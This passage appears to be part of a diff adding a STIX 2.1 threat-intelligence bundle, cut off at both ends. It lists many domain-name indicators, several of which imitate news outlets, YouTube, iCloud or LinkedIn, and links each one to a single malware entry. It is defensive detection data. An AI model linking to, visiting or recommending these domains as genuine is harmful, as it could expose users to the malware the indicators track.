"indicator--d504696c-7418-4e21-a5cb-886d78459158", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9194adfb-c667-4ab1-ab17-80a68003afe1", + "created": "2026-02-17T19:39:51.852833Z", + "modified": "2026-02-17T19:39:51.852833Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lexpress.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.852833Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d2013e45-1d9f-4e29-b549-d0ab6fddc655", + "created": "2026-02-17T19:39:51.853147Z", + "modified": "2026-02-17T19:39:51.853147Z", + "relationship_type": "indicates", + "source_ref": "indicator--9194adfb-c667-4ab1-ab17-80a68003afe1", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--830b2c00-5378-4722-933f-8094e4a35dc7", + "created": "2026-02-17T19:39:51.853227Z", + "modified": "2026-02-17T19:39:51.853227Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='distedc.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.853227Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9cf99b5f-9faa-467f-811b-c20cfaf31584", + "created": "2026-02-17T19:39:51.853608Z", + "modified": "2026-02-17T19:39:51.853608Z", + "relationship_type": "indicates", + "source_ref": "indicator--830b2c00-5378-4722-933f-8094e4a35dc7", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--be49feb3-126a-4b09-a835-a23786bb93c0", + "created": "2026-02-17T19:39:51.853691Z", + "modified": "2026-02-17T19:39:51.853691Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='apps-ios.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.853691Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e293644e-e68e-45fc-ab3c-fe5985de250c", + "created": "2026-02-17T19:39:51.854008Z", + "modified": "2026-02-17T19:39:51.854008Z", + "relationship_type": "indicates", + "source_ref": "indicator--be49feb3-126a-4b09-a835-a23786bb93c0", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed32d16a-8ded-4d0d-a474-9b4ad911d0a6", + "created": "2026-02-17T19:39:51.854087Z", + "modified": "2026-02-17T19:39:51.854087Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='youtubewatch.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.854087Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d517b6c7-ae71-4b4e-8483-f5c798bcb5eb", + "created": "2026-02-17T19:39:51.854404Z", + "modified": "2026-02-17T19:39:51.854404Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed32d16a-8ded-4d0d-a474-9b4ad911d0a6", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1cd25891-9c3d-44e1-80d6-3f6689b1f661", + "created": "2026-02-17T19:39:51.854485Z", + "modified": "2026-02-17T19:39:51.854485Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='alraeeenews.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.854485Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2e00fc1a-c5b5-4024-9bf3-0c3a5130d18c", + "created": "2026-02-17T19:39:51.854798Z", + "modified": "2026-02-17T19:39:51.854798Z", + "relationship_type": "indicates", + "source_ref": "indicator--1cd25891-9c3d-44e1-80d6-3f6689b1f661", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fbb22667-1ea3-404c-960f-ab279dfca797", + "created": "2026-02-17T19:39:51.854921Z", + "modified": "2026-02-17T19:39:51.854921Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='people-beeline.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.854921Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a51796da-7e56-4e3f-84e4-67a3b47bafaf", + "created": "2026-02-17T19:39:51.855252Z", + "modified": "2026-02-17T19:39:51.855252Z", + "relationship_type": "indicates", + "source_ref": "indicator--fbb22667-1ea3-404c-960f-ab279dfca797", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8006e7fb-0444-4687-b56e-ddb36095e570", + "created": "2026-02-17T19:39:51.855331Z", + "modified": "2026-02-17T19:39:51.855331Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tickets-kz.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.855331Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ee8a8607-0fd5-472d-ad29-08be848b81b6", + "created": "2026-02-17T19:39:51.855648Z", + "modified": "2026-02-17T19:39:51.855648Z", + "relationship_type": "indicates", + "source_ref": "indicator--8006e7fb-0444-4687-b56e-ddb36095e570", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9fe64dba-adaf-4cf4-98f0-8ad33ae48d90", + "created": "2026-02-17T19:39:51.855727Z", + "modified": "2026-02-17T19:39:51.855727Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bity.ws']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.855727Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--026852e6-da01-4940-b3f1-69fd4aa512c0", + "created": "2026-02-17T19:39:51.856032Z", + "modified": "2026-02-17T19:39:51.856032Z", + "relationship_type": "indicates", + "source_ref": "indicator--9fe64dba-adaf-4cf4-98f0-8ad33ae48d90", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b2cc86e3-a911-404c-8ed9-9d35e3cf1069", + "created": "2026-02-17T19:39:51.856111Z", + "modified": "2026-02-17T19:39:51.856111Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='citroen.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.856111Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cdeaa055-3b31-435b-9e70-e7d702767647", + "created": "2026-02-17T19:39:51.856407Z", + "modified": "2026-02-17T19:39:51.856407Z", + "relationship_type": "indicates", + "source_ref": "indicator--b2cc86e3-a911-404c-8ed9-9d35e3cf1069", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--341db6c7-d17c-46b6-adef-971a7d56a932", + "created": "2026-02-17T19:39:51.856481Z", + "modified": "2026-02-17T19:39:51.856481Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bitlyrs.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.856481Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--95216566-f48d-42d8-991b-473d6948dea6", + "created": "2026-02-17T19:39:51.856771Z", + "modified": "2026-02-17T19:39:51.856771Z", + "relationship_type": "indicates", + "source_ref": "indicator--341db6c7-d17c-46b6-adef-971a7d56a932", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3448919a-203a-4058-9e12-2837962a3305", + "created": "2026-02-17T19:39:51.856845Z", + "modified": "2026-02-17T19:39:51.856845Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='qazsporttv.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.856845Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d08c5af6-4e80-4dea-9491-5fbb435027ea", + "created": "2026-02-17T19:39:51.857204Z", + "modified": "2026-02-17T19:39:51.857204Z", + "relationship_type": "indicates", + "source_ref": "indicator--3448919a-203a-4058-9e12-2837962a3305", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3efa5be5-a260-47a1-86e7-87a9276a621a", + "created": "2026-02-17T19:39:51.85728Z", + "modified": "2026-02-17T19:39:51.85728Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='novojornal.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.85728Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--69150a10-8c16-41f6-8fa0-2d8ec6de6ffe", + "created": "2026-02-17T19:39:51.857574Z", + "modified": "2026-02-17T19:39:51.857574Z", + "relationship_type": "indicates", + "source_ref": "indicator--3efa5be5-a260-47a1-86e7-87a9276a621a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e77039c-f5c4-417b-9716-c83d0d5c147e", + "created": "2026-02-17T19:39:51.857647Z", + "modified": "2026-02-17T19:39:51.857647Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='edolio5.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.857647Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0175e7d4-868c-4b4f-be97-e4c00fb47dd8", + "created": "2026-02-17T19:39:51.857934Z", + "modified": "2026-02-17T19:39:51.857934Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e77039c-f5c4-417b-9716-c83d0d5c147e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e86bb794-2ac3-4e20-aa90-14d67c7abaca", + "created": "2026-02-17T19:39:51.858006Z", + "modified": "2026-02-17T19:39:51.858006Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='timestampsync.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.858006Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--36db33ef-21b0-4645-94e3-8926d352680a", + "created": "2026-02-17T19:39:51.858306Z", + "modified": "2026-02-17T19:39:51.858306Z", + "relationship_type": "indicates", + "source_ref": "indicator--e86bb794-2ac3-4e20-aa90-14d67c7abaca", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8a4207e7-a3ee-49fd-9899-3d72259303fd", + "created": "2026-02-17T19:39:51.858381Z", + "modified": "2026-02-17T19:39:51.858381Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='link-m.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.858381Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cbfa9fcf-0708-46f3-9130-36cd5cd7c7f1", + "created": "2026-02-17T19:39:51.858689Z", + "modified": "2026-02-17T19:39:51.858689Z", + "relationship_type": "indicates", + "source_ref": "indicator--8a4207e7-a3ee-49fd-9899-3d72259303fd", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ce1fb5e5-ccfa-4d21-8e96-6c6f724c90ca", + "created": "2026-02-17T19:39:51.858768Z", + "modified": "2026-02-17T19:39:51.858768Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='truelocation.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.858768Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ccac5c88-2ca6-4dd6-980c-0ce78294b6c4", + "created": "2026-02-17T19:39:51.859075Z", + "modified": "2026-02-17T19:39:51.859075Z", + "relationship_type": "indicates", + "source_ref": "indicator--ce1fb5e5-ccfa-4d21-8e96-6c6f724c90ca", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e02d2706-f5dd-4c7a-a997-190b46dd0b4c", + "created": "2026-02-17T19:39:51.859155Z", + "modified": "2026-02-17T19:39:51.859155Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gabzmus.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.859155Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d06ee91-c47b-4054-8900-df4ac4b0ed6d", + "created": "2026-02-17T19:39:51.859454Z", + "modified": "2026-02-17T19:39:51.859454Z", + "relationship_type": "indicates", + "source_ref": "indicator--e02d2706-f5dd-4c7a-a997-190b46dd0b4c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2507deb4-0037-4ec7-8fc3-dbe899e7046e", + "created": "2026-02-17T19:39:51.859532Z", + "modified": "2026-02-17T19:39:51.859532Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mytrips.quest']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.859532Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--91612690-2578-4776-a91e-abd2253784fd", + "created": "2026-02-17T19:39:51.859832Z", + "modified": "2026-02-17T19:39:51.859832Z", + "relationship_type": "indicates", + "source_ref": "indicator--2507deb4-0037-4ec7-8fc3-dbe899e7046e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--59ec97c8-846a-4dde-bbbd-db6b542f6d99", + "created": "2026-02-17T19:39:51.859908Z", + "modified": "2026-02-17T19:39:51.859908Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='browsercheck.services']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.859908Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--009eefaa-f74a-42ff-98d6-5f5fb8d730e1", + "created": "2026-02-17T19:39:51.860208Z", + "modified": "2026-02-17T19:39:51.860208Z", + "relationship_type": "indicates", + "source_ref": "indicator--59ec97c8-846a-4dde-bbbd-db6b542f6d99", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a5e251a3-b7ce-4d01-97b8-d02d2b6c6b91", + "created": "2026-02-17T19:39:51.860281Z", + "modified": "2026-02-17T19:39:51.860281Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ilnk.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.860281Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6c603169-9e84-4545-a889-2b75b2a6272a", + "created": "2026-02-17T19:39:51.860633Z", + "modified": "2026-02-17T19:39:51.860633Z", + "relationship_type": "indicates", + "source_ref": "indicator--a5e251a3-b7ce-4d01-97b8-d02d2b6c6b91", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--541f072c-c0cc-48f0-aa9a-839229660103", + "created": "2026-02-17T19:39:51.860711Z", + "modified": "2026-02-17T19:39:51.860711Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='icloudeu.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.860711Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e610770a-6e13-455e-942e-3a71b0c6002e", + "created": "2026-02-17T19:39:51.861002Z", + "modified": "2026-02-17T19:39:51.861002Z", + "relationship_type": "indicates", + "source_ref": "indicator--541f072c-c0cc-48f0-aa9a-839229660103", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ceb2c7ef-16c0-4bea-ad38-b21790b3ddef", + "created": "2026-02-17T19:39:51.861076Z", + "modified": "2026-02-17T19:39:51.861076Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kollesa.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.861076Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ec50a8be-205d-41ce-8f2c-8ddcda81c4ae", + "created": "2026-02-17T19:39:51.861365Z", + "modified": "2026-02-17T19:39:51.861365Z", + "relationship_type": "indicates", + "source_ref": "indicator--ceb2c7ef-16c0-4bea-ad38-b21790b3ddef", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b7199333-94d9-4647-b0bb-faab4a93ae68", + "created": "2026-02-17T19:39:51.861438Z", + "modified": "2026-02-17T19:39:51.861438Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bookjob.club']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.861438Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b40bdb21-0884-496c-b3ee-45dc48e21275", + "created": "2026-02-17T19:39:51.861736Z", + "modified": "2026-02-17T19:39:51.861736Z", + "relationship_type": "indicates", + "source_ref": "indicator--b7199333-94d9-4647-b0bb-faab4a93ae68", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--337cd34d-3a08-436b-bbae-a1b84a739270", + "created": "2026-02-17T19:39:51.861812Z", + "modified": "2026-02-17T19:39:51.861812Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cnn-portugal.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.861812Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2581006f-890c-44e8-b6a0-4ccfff6db5a3", + "created": "2026-02-17T19:39:51.862106Z", + "modified": "2026-02-17T19:39:51.862106Z", + "relationship_type": "indicates", + "source_ref": "indicator--337cd34d-3a08-436b-bbae-a1b84a739270", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9e3531da-ba58-4617-b28d-42be66a3d567", + "created": "2026-02-17T19:39:51.862177Z", + "modified": "2026-02-17T19:39:51.862177Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='despachosnegocios']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.862177Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2a28f757-3834-4520-a234-f36597ff8716", + "created": "2026-02-17T19:39:51.862469Z", + "modified": "2026-02-17T19:39:51.862469Z", + "relationship_type": "indicates", + "source_ref": "indicator--9e3531da-ba58-4617-b28d-42be66a3d567", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e7c67cf3-6df3-4ade-9386-ce765bfe260d", + "created": "2026-02-17T19:39:51.862543Z", + "modified": "2026-02-17T19:39:51.862543Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='egyqaz.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.862543Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--04f2c15f-f4de-489a-a708-f6091e95c879", + "created": "2026-02-17T19:39:51.862831Z", + "modified": "2026-02-17T19:39:51.862831Z", + "relationship_type": "indicates", + "source_ref": "indicator--e7c67cf3-6df3-4ade-9386-ce765bfe260d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5d76f2eb-352e-4159-a54d-0533197e477d", + "created": "2026-02-17T19:39:51.862907Z", + "modified": "2026-02-17T19:39:51.862907Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flash.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.862907Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--74ca4b6a-2ea7-41e5-9a52-9adfc43d88ef", + "created": "2026-02-17T19:39:51.863199Z", + "modified": "2026-02-17T19:39:51.863199Z", + "relationship_type": "indicates", + "source_ref": "indicator--5d76f2eb-352e-4159-a54d-0533197e477d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f820523f-8bb6-473b-a195-fa06a92ce0b0", + "created": "2026-02-17T19:39:51.863271Z", + "modified": "2026-02-17T19:39:51.863271Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='limk.one']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.863271Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--75b637ff-4f54-4e36-bec5-c746797d248b", + "created": "2026-02-17T19:39:51.863556Z", + "modified": "2026-02-17T19:39:51.863556Z", + "relationship_type": "indicates", + "source_ref": "indicator--f820523f-8bb6-473b-a195-fa06a92ce0b0", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9d47401a-04a6-4c42-9e53-fa939850662d", + "created": "2026-02-17T19:39:51.863629Z", + "modified": "2026-02-17T19:39:51.863629Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='adultpcz.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.863629Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5c7e4cf3-adff-4c67-b63e-57b34ac8598b", + "created": "2026-02-17T19:39:51.863981Z", + "modified": "2026-02-17T19:39:51.863981Z", + "relationship_type": "indicates", + "source_ref": "indicator--9d47401a-04a6-4c42-9e53-fa939850662d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b9af901e-0d21-4e8c-a225-f6a4fb189e5a", + "created": "2026-02-17T19:39:51.864059Z", + "modified": "2026-02-17T19:39:51.864059Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='almal-news.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.864059Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--31c138ea-c17f-41b1-a0d1-bc26cc018b7b", + "created": "2026-02-17T19:39:51.86442Z", + "modified": "2026-02-17T19:39:51.86442Z", + "relationship_type": "indicates", + "source_ref": "indicator--b9af901e-0d21-4e8c-a225-f6a4fb189e5a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7f64584f-3e2b-4d8c-a356-135acfd84ff7", + "created": "2026-02-17T19:39:51.86451Z", + "modified": "2026-02-17T19:39:51.86451Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='weekendcool.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.86451Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d351070c-a74b-4bee-ba2d-33ba53163caa", + "created": "2026-02-17T19:39:51.864817Z", + "modified": "2026-02-17T19:39:51.864817Z", + "relationship_type": "indicates", + "source_ref": "indicator--7f64584f-3e2b-4d8c-a356-135acfd84ff7", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aee4c1e6-1cbb-434d-b4b6-a232d1c257f1", + "created": "2026-02-17T19:39:51.864895Z", + "modified": "2026-02-17T19:39:51.864895Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='youtube.gr.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.864895Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cd092ae1-0e0b-4af7-8f82-6dfc3d04501a", + "created": "2026-02-17T19:39:51.865191Z", + "modified": "2026-02-17T19:39:51.865191Z", + "relationship_type": "indicates", + "source_ref": "indicator--aee4c1e6-1cbb-434d-b4b6-a232d1c257f1", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--72f64f3b-ee22-4ca8-84bd-8895f7e722e6", + "created": "2026-02-17T19:39:51.865265Z", + "modified": "2026-02-17T19:39:51.865265Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='danas.bid']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.865265Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3ce51676-1afb-45d2-af43-967abbce74a1", + "created": "2026-02-17T19:39:51.865557Z", + "modified": "2026-02-17T19:39:51.865557Z", + "relationship_type": "indicates", + "source_ref": "indicator--72f64f3b-ee22-4ca8-84bd-8895f7e722e6", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d3f98f6b-17f9-49ab-9ca1-9a56da980fab", + "created": "2026-02-17T19:39:51.865632Z", + "modified": "2026-02-17T19:39:51.865632Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lifestyleshops.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.865632Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9a4f3a90-7899-4e78-bcec-6cf7d4519adb", + "created": "2026-02-17T19:39:51.865929Z", + "modified": "2026-02-17T19:39:51.865929Z", + "relationship_type": "indicates", + "source_ref": "indicator--d3f98f6b-17f9-49ab-9ca1-9a56da980fab", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f28093bf-94cc-4877-a016-3a3ec753530f", + "created": "2026-02-17T19:39:51.866002Z", + "modified": "2026-02-17T19:39:51.866002Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='connectivitycheck.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.866002Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2027192a-8ffd-4eba-a93b-7ad65d577bff", + "created": "2026-02-17T19:39:51.8663Z", + "modified": "2026-02-17T19:39:51.8663Z", + "relationship_type": "indicates", + "source_ref": "indicator--f28093bf-94cc-4877-a016-3a3ec753530f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6a078dea-d984-45db-83e8-764572ee4acc", + "created": "2026-02-17T19:39:51.866373Z", + "modified": "2026-02-17T19:39:51.866373Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='llinkedin.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.866373Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--48223cb5-49f6-49fc-ae38-1eaaf16cf232", + "created": "2026-02-17T19:39:51.866665Z", + "modified": "2026-02-17T19:39:51.866665Z", + "relationship_type": "indicates", + "source_ref": "indicator--6a078dea-d984-45db-83e8-764572ee4acc", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dd360ef0-0815-4399-bcd6-82587f9bd595", + "created": "2026-02-17T19:39:51.86674Z", + "modified": "2026-02-17T19:39:51.86674Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bestwesternt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.86674Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d0ba5305-c861-4ac7-a294-a2cd3d1e15c4", + "created": "2026-02-17T19:39:51.867034Z", + "modified": "2026-02-17T19:39:51.867034Z", + "relationship_type": "indicates", + "source_ref": "indicator--dd360ef0-0815-4399-bcd6-82587f9bd595", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--21e40851-8030-47d4-94e5-0d4dd317a163", + "created": 